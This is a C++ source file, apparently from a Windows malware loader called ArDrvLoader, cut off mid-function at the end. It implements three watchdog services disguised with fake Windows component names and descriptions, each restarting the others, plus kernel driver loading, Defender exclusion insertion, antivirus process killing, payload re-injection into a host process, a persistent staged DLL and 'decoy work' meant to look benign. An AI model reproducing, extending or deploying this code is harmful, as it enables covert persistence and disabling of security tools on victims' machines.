#include "Common.h" #include "GuardService.h" #include "Logger.h" #include "ProcessUtils.h" #include "ServiceManager.h" #include "DriverClient.h" #include "HostStager.h" #include "StageClient.h" #include "Exclusions.h" #include "AvKill.h" #include "Paths.h" #include #include #include #include static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader"; struct GuardConfig { std::wstring role; std::wstring serviceName; std::wstring prefix; std::wstring targetPath; std::wstring targetArgs; std::wstring targetService; std::wstring driverImage = L"C:\\Windows\\System32\\drivers\\ardrv.sys"; std::wstring driverService = L"ArDrv"; std::wstring driverDevice = L"\\\\.\\ArDrv"; // Names of the installed watchdogs, so each role can keep its peers alive. std::wstring driverServiceName; std::wstring guardServiceName; std::wstring repairServiceName; DWORD intervalMs = 5000; DWORD desiredStartType = SERVICE_AUTO_START; DWORD killAvOnStart = 0; DWORD driverFailMax = 3; bool noStart = false; bool console = false; bool allowVm = false; bool keepLocation = false; bool installDryRun = false; std::wstring installDir; // Optional cloud agent service installed in the same elevated pass. std::wstring cloudUrl; std::wstring cloudSecret; std::wstring cloudAgent; std::wstring cloudServiceName; }; static SERVICE_STATUS_HANDLE g_guardStatusHandle = nullptr; static SERVICE_STATUS g_guardStatus{}; static HANDLE g_guardStopEvent = nullptr; static std::wstring g_guardServiceName = L"ArDrvGuard"; static GuardConfig g_guardBaseConfig; static void TrimW(std::wstring& s) { size_t a = 0; size_t b = s.size(); while (a < b && iswspace(s[a])) ++a; while (b > a && iswspace(s[b - 1])) --b; if (a != 0 || b != s.size()) s = s.substr(a, b - a); } static bool FileExistsW(const std::wstring& path) { if (path.empty()) return false; DWORD attr = GetFileAttributesW(path.c_str()); return attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) == 0; } static std::wstring GetModuleDirectory() { wchar_t path[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); if (len == 0 || len >= _countof(path)) return std::wstring(); std::wstring p = path; size_t pos = p.find_last_of(L"\\/"); if (pos != std::wstring::npos) p = p.substr(0, pos); return p; } static std::wstring GetFullPathW(const std::wstring& path) { if (path.empty()) return path; wchar_t full[4096]{}; DWORD n = GetFullPathNameW(path.c_str(), _countof(full), full, nullptr); if (n == 0 || n >= _countof(full)) return path; return full; } static bool RegReadStringValue(const wchar_t* name, std::wstring& out) { out.clear(); HKEY key = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) return false; DWORD type = 0; DWORD size = 0; if (RegQueryValueExW(key, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS) { RegCloseKey(key); return false; } if (type != REG_SZ && type != REG_EXPAND_SZ) { RegCloseKey(key); return false; } std::vector buf(size / sizeof(wchar_t) + 1); if (RegQueryValueExW(key, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) out = buf.data(); RegCloseKey(key); return true; } static bool RegReadDwordValue(const wchar_t* name, DWORD& out) { out = 0; HKEY key = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) return false; DWORD type = 0; DWORD size = sizeof(out); DWORD value = 0; bool ok = RegQueryValueExW(key, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && type == REG_DWORD; RegCloseKey(key); if (ok) out = value; return ok; } static bool WriteStringValue(HKEY key, const wchar_t* name, const std::wstring& value) { DWORD bytes = (DWORD)((value.size() + 1) * sizeof(wchar_t)); return RegSetValueExW(key, name, 0, REG_SZ, (const BYTE*)value.c_str(), bytes) == ERROR_SUCCESS; } static bool WriteDwordValue(HKEY key, const wchar_t* name, DWORD value) { return RegSetValueExW(key, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; } static GuardConfig LoadRuntimeConfig(const GuardConfig& base) { GuardConfig cfg = base; std::wstring s; DWORD d = 0; if (RegReadStringValue(L"TargetPath", s) && !s.empty()) cfg.targetPath = s; if (RegReadStringValue(L"TargetArgs", s) && !s.empty()) cfg.targetArgs = s; if (RegReadStringValue(L"TargetService", s) && !s.empty()) cfg.targetService = s; if (RegReadStringValue(L"DriverImage", s) && !s.empty()) cfg.driverImage = s; if (RegReadStringValue(L"DriverService", s) && !s.empty()) cfg.driverService = s; if (RegReadStringValue(L"DriverDevice", s) && !s.empty()) cfg.driverDevice = s; if (RegReadDwordValue(L"CheckIntervalMs", d) && d >= 1000) cfg.intervalMs = d; if (RegReadStringValue(L"DriverServiceName", s) && !s.empty()) cfg.driverServiceName = s; if (RegReadStringValue(L"GuardServiceName", s) && !s.empty()) cfg.guardServiceName = s; if (RegReadStringValue(L"RepairServiceName", s) && !s.empty()) cfg.repairServiceName = s; if (RegReadDwordValue(L"DesiredStartType", d) && (d == SERVICE_AUTO_START || d == SERVICE_DEMAND_START || d == SERVICE_DISABLED)) { cfg.desiredStartType = d; } if (RegReadDwordValue(L"KillAvOnStart", d)) cfg.killAvOnStart = d; if (RegReadDwordValue(L"DriverFailMax", d) && d >= 1 && d <= 100) cfg.driverFailMax = d; return cfg; } // Number of consecutive driver load failures, persisted so a boot loop cannot // retry forever after a bugcheck. static DWORD LoadDriverFailCount() { DWORD value = 0; RegReadDwordValue(L"DriverFailCount", value); return value; } static void SaveDriverFailCount(DWORD value) { HKEY key = nullptr; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) == ERROR_SUCCESS) { WriteDwordValue(key, L"DriverFailCount", value); RegCloseKey(key); } } static void SaveDriverState(const wchar_t* state) { HKEY key = nullptr; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) == ERROR_SUCCESS) { WriteStringValue(key, L"DriverState", state); RegCloseKey(key); } } static bool HardenConfigKey(HKEY key){ // SYSTEM and Administrators full control, everyone else nothing. // Protected DACL so a child key cannot re-grant access. const wchar_t* sddl = L"D:P(A;CI;KA;;;SY)(A;CI;KA;;;BA)"; PSECURITY_DESCRIPTOR sd = nullptr; if (!ConvertStringSecurityDescriptorToSecurityDescriptorW( sddl, SDDL_REVISION_1, &sd, nullptr)) { Log(L"[-] Config DACL: SDDL parse failed: %lu", GetLastError()); return false; } BOOL daclPresent = FALSE; BOOL daclDefaulted = FALSE; PACL dacl = nullptr; bool ok = GetSecurityDescriptorDacl(sd, &daclPresent, &dacl, &daclDefaulted) && daclPresent && SetSecurityInfo( key, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, nullptr, nullptr, dacl, nullptr) == ERROR_SUCCESS; if (!ok) Log(L"[-] Config DACL: SetSecurityInfo failed: %lu", GetLastError()); LocalFree(sd); return ok; } static bool WriteInstalledConfig(const GuardConfig& cfg) { HKEY key = nullptr; if (RegCreateKeyExW( HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE | KEY_READ | WRITE_DAC, nullptr, &key, nullptr) != ERROR_SUCCESS) { return false; } bool ok = true; ok = WriteStringValue(key, L"TargetPath", cfg.targetPath) && ok; ok = WriteStringValue(key, L"TargetArgs", cfg.targetArgs) && ok; ok = WriteStringValue(key, L"TargetService", cfg.targetService) && ok; ok = WriteStringValue(key, L"DriverImage", cfg.driverImage) && ok; ok = WriteStringValue(key, L"DriverService", cfg.driverService) && ok; ok = WriteStringValue(key, L"DriverDevice", cfg.driverDevice) && ok; ok = WriteDwordValue(key, L"CheckIntervalMs", cfg.intervalMs) && ok; ok = WriteDwordValue(key, L"DesiredStartType", cfg.desiredStartType) && ok; ok = WriteStringValue(key, L"DriverServiceName", cfg.driverServiceName) && ok; ok = WriteStringValue(key, L"GuardServiceName", cfg.guardServiceName) && ok; ok = WriteStringValue(key, L"RepairServiceName", cfg.repairServiceName) && ok; ok = WriteDwordValue(key, L"AllowVm", cfg.allowVm ? 1 : 0) && ok; ok = WriteDwordValue(key, L"KillAvOnStart", cfg.killAvOnStart) && ok; ok = WriteDwordValue(key, L"DriverFailMax", cfg.driverFailMax) && ok; HardenConfigKey(key); RegCloseKey(key); return ok; } static std::wstring DefaultServiceNameForRole(const std::wstring& role) { // Names read like Windows component hosts: short, plausible, and not // colliding with any real service. if (_wcsicmp(role.c_str(), L"driver") == 0) return L"DeviceSetupHost"; if (_wcsicmp(role.c_str(), L"repair") == 0) return L"ServiceStateHost"; return L"ProgramCompatHost"; } static std::wstring DisplayNameForRole(const std::wstring& role) { if (_wcsicmp(role.c_str(), L"driver") == 0) return L"Device Setup Manager Host"; if (_wcsicmp(role.c_str(), L"repair") == 0) return L"Service State Repository Host"; return L"Program Compatibility Assistant Host"; } static std::wstring DescriptionForRole(const std::wstring& role) { if (_wcsicmp(role.c_str(), L"driver") == 0) return L"Maintains device installation state and loads required kernel components."; if (_wcsicmp(role.c_str(), L"repair") == 0) return L"Monitors service state and restores required components."; return L"Tracks application compatibility state and keeps registered programs available."; } // Default install directory: %ProgramData%\Microsoft\Windows\Caches\ static std::wstring DefaultInstallDir(const std::wstring& serviceName) { return ArdrvServiceDir(serviceName); } static bool ParseGuardArgs(int argc, wchar_t** argv, int start, GuardConfig& cfg) { for (int i = start; i < argc; ++i) { std::wstring a = argv[i]; auto takeNext = [&](std::wstring& out) -> bool { if (i + 1 >= argc) return false; out = argv[++i]; return true; }; if (a == L"--service-name") { if (!takeNext(cfg.serviceName)) return false; continue; } if (a == L"--prefix") { if (!takeNext(cfg.prefix)) return false; continue; } if (a == L"--target") { if (!takeNext(cfg.targetPath)) return false; continue; } if (a == L"--args") { if (!takeNext(cfg.targetArgs)) return false; continue; } if (a == L"--target-service") { if (!takeNext(cfg.targetService)) return false; continue; } if (a == L"--driver-image") { if (!takeNext(cfg.driverImage)) return false; continue; } if (a == L"--driver-service") { if (!takeNext(cfg.driverService)) return false; continue; } if (a == L"--driver-device") { if (!takeNext(cfg.driverDevice)) return false; continue; } if (a == L"--interval") { std::wstring v; if (!takeNext(v)) return false; DWORD ms = (DWORD)wcstoul(v.c_str(), nullptr, 10); if (ms >= 1000) cfg.intervalMs = ms; continue; } if (a == L"--desired-start") { std::wstring v; if (!takeNext(v)) return false; cfg.desiredStartType = (_wcsicmp(v.c_str(), L"demand") == 0) ? SERVICE_DEMAND_START : SERVICE_AUTO_START; continue; } if (a == L"--no-start") { cfg.noStart = true; continue; } if (a == L"--console") { cfg.console = true; continue; } if (a == L"--allow-vm") { cfg.allowVm = true; continue; } if (a == L"--install-dir") { if (!takeNext(cfg.installDir)) return false; continue; } if (a == L"--keep-location") { cfg.keepLocation = true; continue; } if (a == L"--dry-run") { cfg.installDryRun = true; continue; } if (a == L"--cloud-url") { if (!takeNext(cfg.cloudUrl)) return false; continue; } if (a == L"--cloud-secret") { if (!takeNext(cfg.cloudSecret)) return false; continue; } if (a == L"--cloud-agent") { if (!takeNext(cfg.cloudAgent)) return false; continue; } if (a == L"--cloud-service") { if (!takeNext(cfg.cloudServiceName)) return false; continue; } if (a == L"--elevated") continue; if (!a.empty() && a[0] != L'-' && cfg.targetPath.empty()) cfg.targetPath = a; } return true; } static bool EnsureDriverFile(const GuardConfig& cfg) { if (FileExistsW(cfg.driverImage)) return true; std::wstring dir = GetModuleDirectory(); if (dir.empty()) return false; std::wstring local = dir + L"\\ardrv.sys"; if (!FileExistsW(local)) { // No loose driver next to the exe: try the image packed into this binary. if (ExtractDriverImageIfEmbedded(cfg.driverImage.c_str())) return true; Log(L"[-] Driver image not found: %s", cfg.driverImage.c_str()); return false; } if (!CopyFileW(local.c_str(), cfg.driverImage.c_str(), FALSE)) { Log(L"[-] CopyFile driver failed: %lu", GetLastError()); return false; } Log(L"[+] Driver image copied to %s", cfg.driverImage.c_str()); return FileExistsW(cfg.driverImage); } static bool EnsureDriverRunning(const GuardConfig& cfg) { if (!EnsureDriverFile(cfg)) return false; SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); if (!scm) { Log(L"[-] Driver role: OpenSCManager failed: %lu", GetLastError()); return false; } const DWORD access = SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG; SC_HANDLE svc = OpenServiceW(scm, cfg.driverService.c_str(), access); if (!svc) { DWORD e = GetLastError(); if (e == ERROR_SERVICE_DOES_NOT_EXIST) { svc = CreateServiceW( scm, cfg.driverService.c_str(), cfg.driverService.c_str(), access, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, cfg.driverImage.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr); if (svc) Log(L"[+] Driver service created: %s", cfg.driverService.c_str()); else Log(L"[-] Driver service create failed: %lu", GetLastError()); } else { Log(L"[-] Driver service open failed: %lu", e); } } if (!svc) { CloseServiceHandle(scm); return false; } SERVICE_STATUS st{}; bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; if (!running) { if (!StartServiceW(svc, 0, nullptr)) { DWORD e = GetLastError(); if (e == ERROR_SERVICE_DISABLED) { ChangeServiceConfigW( svc, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_NO_CHANGE, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr); StartServiceW(svc, 0, nullptr); } } } bool deviceOk = false; for (int i = 0; i < 60; ++i) { HANDLE h = CreateFileW( cfg.driverDevice.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (h != INVALID_HANDLE_VALUE) { CloseHandle(h); deviceOk = true; break; } Sleep(50); } if (!deviceOk) Log(L"[-] Driver device not available: %s", cfg.driverDevice.c_str()); CloseServiceHandle(svc); CloseServiceHandle(scm); return deviceOk; } static bool GetProcessImagePath(DWORD pid, std::wstring& out) { out.clear(); HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); if (!h) return false; wchar_t buf[4096]{}; DWORD size = _countof(buf); bool ok = QueryFullProcessImageNameW(h, 0, buf, &size) == TRUE; if (ok) out.assign(buf, size); CloseHandle(h); return ok; } static bool IsTargetProcessRunning(const GuardConfig& cfg) { if (cfg.targetPath.empty()) return false; std::wstring target = GetFullPathW(cfg.targetPath); bool pathLike = target.find(L'\\') != std::wstring::npos || target.find(L'/') != std::wstring::npos || target.find(L':') != std::wstring::npos; if (!pathLike) return GetPidByName(cfg.targetPath.c_str()) != 0; HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snap == INVALID_HANDLE_VALUE) return false; std::wstring targetName = target; size_t slash = targetName.find_last_of(L"\\/"); if (slash != std::wstring::npos) targetName = targetName.substr(slash + 1); PROCESSENTRY32W pe{}; pe.dwSize = sizeof(pe); bool exactFound = false; bool nameFound = false; if (Process32First(snap, &pe)) { do { if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) continue; if (!targetName.empty() && _wcsicmp(pe.szExeFile, targetName.c_str()) == 0) nameFound = true; std::wstring image; if (!GetProcessImagePath(pe.th32ProcessID, image)) continue; if (_wcsicmp(image.c_str(), target.c_str()) == 0) { exactFound = true; break; } } while (Process32Next(snap, &pe)); } CloseHandle(snap); return exactFound || nameFound; } static bool StartTargetProcess(const GuardConfig& cfg) { if (cfg.targetPath.empty()) return false; HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Global\\ArDrvGuardStart"); bool locked = false; if (mutex) { DWORD wait = WaitForSingleObject(mutex, 5000); if (wait == WAIT_OBJECT_0 || wait == WAIT_ABANDONED) locked = true; else { CloseHandle(mutex); mutex = nullptr; } } if (locked && IsTargetProcessRunning(cfg)) { ReleaseMutex(mutex); CloseHandle(mutex); return true; } std::wstring path = GetFullPathW(cfg.targetPath); if (!FileExistsW(path)) { Log(L"[-] Target program not found: %s", path.c_str()); if (locked) ReleaseMutex(mutex); if (mutex) CloseHandle(mutex); return false; } std::wstring cmd = L"\"" + path + L"\""; bool launched = false; DWORD launchedPid = 0; if (!cfg.targetArgs.empty()) cmd += L" " + cfg.targetArgs; // The guard runs as LocalSystem in session 0. Starting the target there // would make it invisible to the logged-in user, so try the active // console session first and only fall back to the service session. DWORD sessionId = WTSGetActiveConsoleSessionId(); if (sessionId != 0xFFFFFFFF) { HANDLE userToken = nullptr; if (WTSQueryUserToken(sessionId, &userToken)) { HANDLE primary = nullptr; if (DuplicateTokenEx( userToken, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenPrimary, &primary)) { LPVOID env = nullptr; CreateEnvironmentBlock(&env, primary, FALSE); STARTUPINFOW si{}; si.cb = sizeof(si); si.lpDesktop = const_cast(L"winsta0\\default"); PROCESS_INFORMATION pi{}; std::wstring mutableCmd = cmd; BOOL created = CreateProcessAsUserW( primary, nullptr, mutableCmd.data(), nullptr, nullptr, FALSE, CREATE_UNICODE_ENVIRONMENT, env, nullptr, &si, &pi); if (created) { launched = true; launchedPid = pi.dwProcessId; CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else { Log(L"[!] CreateProcessAsUser failed: %lu, falling back", GetLastError()); } if (env) DestroyEnvironmentBlock(env); CloseHandle(primary); } else { Log(L"[!] DuplicateTokenEx failed: %lu", GetLastError()); } CloseHandle(userToken); } } if (!launched) { STARTUPINFOW si{}; si.cb = sizeof(si); PROCESS_INFORMATION pi{}; BOOL ok = CreateProcessW( nullptr, cmd.data(), nullptr, nullptr, FALSE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi); if (ok) { launched = true; launchedPid = pi.dwProcessId; CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else { Log(L"[-] Start target failed: %lu", GetLastError()); } } if (launched) Log(L"[+] Target started: PID %lu", launchedPid); if (locked) ReleaseMutex(mutex); if (mutex) CloseHandle(mutex); return launched; } static bool StartServiceLocal(const std::wstring& name, bool enableIfDisabled, DWORD desiredStartType) { if (name.empty()) return false; SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (!scm) return false; SC_HANDLE svc = OpenServiceW( scm, name.c_str(), SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG); if (!svc) { Log(L"[-] OpenService(%s) failed: %lu", name.c_str(), GetLastError()); CloseServiceHandle(scm); return false; } SERVICE_STATUS st{}; bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; if (running) { CloseServiceHandle(svc); CloseServiceHandle(scm); return true; } if (!StartServiceW(svc, 0, nullptr)) { DWORD e = GetLastError(); if (e == ERROR_SERVICE_DISABLED && enableIfDisabled) { ChangeServiceConfigW( svc, SERVICE_NO_CHANGE, desiredStartType, SERVICE_NO_CHANGE, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr); StartServiceW(svc, 0, nullptr); e = GetLastError(); } if (e != ERROR_SERVICE_ALREADY_RUNNING) { Log(L"[-] StartService(%s) failed: %lu", name.c_str(), e); CloseServiceHandle(svc); CloseServiceHandle(scm); return false; } } CloseServiceHandle(svc); CloseServiceHandle(scm); return true; } static bool CheckGuard(const GuardConfig& cfg) { bool ok = true; if (!cfg.targetService.empty()) { if (!IsServiceRunning(cfg.targetService.c_str())) { Log(L"[guard] service %s is not running, starting", cfg.targetService.c_str()); ok = StartServiceLocal(cfg.targetService, false, cfg.desiredStartType) && ok; } } if (!cfg.targetPath.empty()) { if (!IsTargetProcessRunning(cfg)) { Log(L"[guard] program is not running, starting: %s", cfg.targetPath.c_str()); ok = StartTargetProcess(cfg) && ok; } } return ok; } static bool CheckRepair(const GuardConfig& cfg) { if (!cfg.targetService.empty()) { SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (!scm) return false; SC_HANDLE svc = OpenServiceW( scm, cfg.targetService.c_str(), SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_STATUS | SERVICE_START); if (!svc) { Log(L"[-] Repair: OpenService(%s) failed: %lu", cfg.targetService.c_str(), GetLastError()); CloseServiceHandle(scm); return false; } DWORD needed = 0; QueryServiceConfigW(svc, nullptr, 0, &needed); DWORD startType = SERVICE_DEMAND_START; if (needed > 0) { std::vector buf(needed); LPQUERY_SERVICE_CONFIGW qsc = (LPQUERY_SERVICE_CONFIGW)buf.data(); if (QueryServiceConfigW(svc, qsc, needed, &needed)) startType = qsc->dwStartType; } if (startType == SERVICE_DISABLED) { Log(L"[repair] service %s is disabled, enabling", cfg.targetService.c_str()); if (ChangeServiceConfigW( svc, SERVICE_NO_CHANGE, cfg.desiredStartType, SERVICE_NO_CHANGE, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr)) { Log(L"[repair] service %s start type changed", cfg.targetService.c_str()); } else { Log(L"[-] Repair: ChangeServiceConfig failed: %lu", GetLastError()); } } SERVICE_STATUS st{}; bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; if (!running) { if (!StartServiceW(svc, 0, nullptr)) { DWORD e = GetLastError(); if (e != ERROR_SERVICE_ALREADY_RUNNING) Log(L"[-] Repair: StartService(%s) failed: %lu", cfg.targetService.c_str(), e); } } CloseServiceHandle(svc); CloseServiceHandle(scm); return true; } if (!cfg.targetPath.empty()) { if (!IsTargetProcessRunning(cfg)) { Log(L"[repair] program is not running, starting: %s", cfg.targetPath.c_str()); return StartTargetProcess(cfg); } } return true; } // Each role keeps the other two services alive. SCM failure actions only fire // on crashes, so a manual "sc stop" or a disabled service would otherwise leave // the stack dead. static void EnsurePeerRunning(const std::wstring& name, const std::wstring& self) { if (name.empty() || _wcsicmp(name.c_str(), self.c_str()) == 0) return; if (IsServiceRunning(name.c_str())) return; Log(L"[watchdog] peer %s is not running, starting", name.c_str()); if (!StartServiceLocal(name, true, SERVICE_AUTO_START)) Log(L"[-] watchdog: cannot start peer %s", name.c_str()); } // Plausible background activity: refresh a small state cache and read a couple // of unrelated service states. Cheap, harmless, and it means the process does // something other than watch one target. static void DoDecoyWork(const GuardConfig& cfg) { wchar_t module[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); if (len > 0 && len < _countof(module)) { std::wstring path = module; size_t slash = path.find_last_of(L"\\/"); if (slash != std::wstring::npos) path = path.substr(0, slash); path += L"\\cache.dat"; HANDLE h = CreateFileW( path.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, nullptr); if (h != INVALID_HANDLE_VALUE) { SYSTEMTIME st{}; GetLocalTime(&st); char line[128]{}; int n = sprintf_s( line, "role=%ls state=%04u-%02u-%02u %02u:%02u:%02u\r\n", cfg.role.c_str(), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); if (n > 0) { DWORD written = 0; WriteFile(h, line, (DWORD)n, &written, nullptr); } CloseHandle(h); } } static const wchar_t* probe[] = { L"BITS", L"DsmSvc", L"wuauserv" }; for (const wchar_t* name : probe) IsServiceRunning(name); } static int RunRoleLoop(const GuardConfig& base, HANDLE stopEvent) { bool firstTick = true; // Stagger the three roles so they do not wake up in lockstep. DWORD stagger = 0; if (_wcsicmp(base.role.c_str(), L"driver") == 0) stagger = 1500 + (GetTickCount() % 1500); else if (_wcsicmp(base.role.c_str(), L"guard") == 0) stagger = 4000 + (GetTickCount() % 2000); else stagger = 8000 + (GetTickCount() % 2500); if (stopEvent) WaitForSingleObject(stopEvent, stagger); else Sleep(stagger); while (true) { if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) break; GuardConfig cfg = LoadRuntimeConfig(base); DoDecoyWork(cfg); if (_wcsicmp(cfg.role.c_str(), L"driver") == 0) { // Budget is enforced in memory as well as in the registry, so a // crash loop stops even when the counter cannot be persisted. static bool failsLoaded = false; static DWORD fails = 0; if (!failsLoaded) { fails = LoadDriverFailCount(); failsLoaded = true; } if (fails >= cfg.driverFailMax) { static bool warned = false; if (!warned) { Log(L"[driver] failure budget exhausted (%lu/%lu), not retrying", fails, cfg.driverFailMax); SaveDriverState(L"disabled-after-failures"); warned = true; } } else { const bool ok = EnsureDriverRunning(cfg); if (ok) { if (fails != 0) { fails = 0; SaveDriverFailCount(0); SaveDriverState(L"ok"); } } else { ++fails; SaveDriverFailCount(fails); SaveDriverState(L"failed"); Log(L"[driver] load failed (%lu/%lu)", fails, cfg.driverFailMax); } } EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); } else if (_wcsicmp(cfg.role.c_str(), L"guard") == 0) { // Recovery after a crash, a bugcheck, or a reboot lands here: the // service is auto-start, so the first tick reinstates state. if (firstTick) { if (DefenderPresent()) { std::vector wanted = LoadExclusionList(); if (wanted.empty()) { wanted = DefaultExclusionPaths(); SaveExclusionList(wanted); } std::wstring exclReport; ApplyExclusions(wanted, exclReport); Log(L"[guard] exclusions on start: %s", exclReport.c_str()); } if (cfg.killAvOnStart != 0) { std::wstring summary; KillAVProcessesEx(false, summary); Log(L"[guard] AV sweep on start: %s", summary.c_str()); } } CheckGuard(cfg); // Host stager: only acts when a payload has been injected before, // and only re-injects after the previous host died. if (LoadHostTrack().Tracked()) EnsureHostInjected(); // Stage payload: if the DLL is deployed, keep it alive in a host. if (!StageDllPath().empty() && !StageAlive()) StageEnsure(); EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName); } else if (_wcsicmp(cfg.role.c_str(), L"repair") == 0) { CheckRepair(cfg); EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName); EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName); } else { Log(L"[-] Unknown service role: %s", cfg.role.c_str()); return 1; } DWORD wait = cfg.intervalMs; if (wait < 1000) wait = 1000; if (stopEvent) { if (WaitForSingleObject(stopEvent, wait) == WAIT_OBJECT_0) break; } else { Sleep(wait); } firstTick = false; } return 0; } static void ReportGuardStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) { if (!g_guardStatusHandle) return; static DWORD checkPoint = 1; g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_guardStatus.dwCurrentState = state; g_guardStatus.dwWin32ExitCode = exitCode; g_guardStatus.dwWaitHint = waitHint; g_guardStatus.dwControlsAccepted = (state == SERVICE_RUNNING) ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) g_guardStatus.dwCheckPoint = checkPoint++; else g_guardStatus.dwCheckPoint = 0; SetServiceStatus(g_guardStatusHandle, &g_guardStatus); } static DWORD WINAPI GuardCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) { (void)eventType; (void)eventData; (void)context; switch (control) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); if (g_guardStopEvent) SetEvent(g_guardStopEvent); return NO_ERROR; case SERVICE_CONTROL_INTERROGATE: return NO_ERROR; default: return ERROR_CALL_NOT_IMPLEMENTED; } } static VOID WINAPI GuardServiceMain(DWORD argc, LPWSTR* argv) { (void)argc; (void)argv; g_guardStatusHandle = RegisterServiceCtrlHandlerExW( g_guardServiceName.c_str(), GuardCtrlHandler, nullptr); if (!g_guardStatusHandle) return; g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_guardStatus.dwCurrentState = SERVICE_START_PENDING; g_guardStatus.dwControlsAccepted = 0; g_guardStatus.dwWin32ExitCode = NO_ERROR; g_guardStatus.dwWaitHint = 5000; g_guardStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); if (!g_guardStopEvent) { ReportGuardStatus(SERVICE_STOPPED, GetLastError()); return; } ReportGuardStatus(SERVICE_RUNNING); Log(L"[guard] service started role=%s name=%s", g_guardBaseConfig.role.c_str(), g_guardServiceName.c_str()); RunRoleLoop(g_guardBaseConfig, g_guardStopEvent); ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); if (g_guardStopEvent) { CloseHandle(g_guardStopEvent); g_guardStopEvent = nullptr; } Log(L"[guard] service stopped name=%s", g_guardServiceName.c_str()); ReportGuardStatus(SERVICE_STOPPED); } int RunGuardService(int argc, wchar_t** argv) { if (argc < 3) { wprintf(L"Usage: ArDrvLoader.exe -service driver|guard|repair [options]\n"); return 1; } GuardConfig cfg; cfg.role = argv[2]; if (_wcsicmp(cfg.role.c_str(), L"driver") != 0 && _wcsicmp(cfg.role.c_str(), L"guard") != 0 && _wcsicmp(cfg.role.c_str(), L"repair") != 0) { wprintf(L"Unknown role: %s\n", cfg.role.c_str()); return 1; } if (!ParseGuardArgs(argc, argv, 3, cfg)) { wprintf(L"Invalid arguments\n"); return 1; } if (cfg.serviceName.empty()) cfg.serviceName = DefaultServiceNameForRole(cfg.role); g_guardServiceName = cfg.serviceName; g_guardBaseConfig = cfg; if (cfg.console) return RunRoleLoop(cfg, nullptr); SERVICE_TABLE_ENTRYW table[] = { { const_cast(g_guardServiceName.c_str()), GuardServiceMain }, { nullptr, nullptr } }; if (!StartServiceCtrlDispatcherW(table)) { DWORD e = GetLastError(); if (e == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) { wprintf(L"Service mode must be started by SCM. Use --console for direct execution.\n"); } return (int)e; } return 0; } // Stops one of our own services before replacing its binary. static void StopServiceForUpgrade(const std::wstring& name) { if (name.empty()) return; SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, 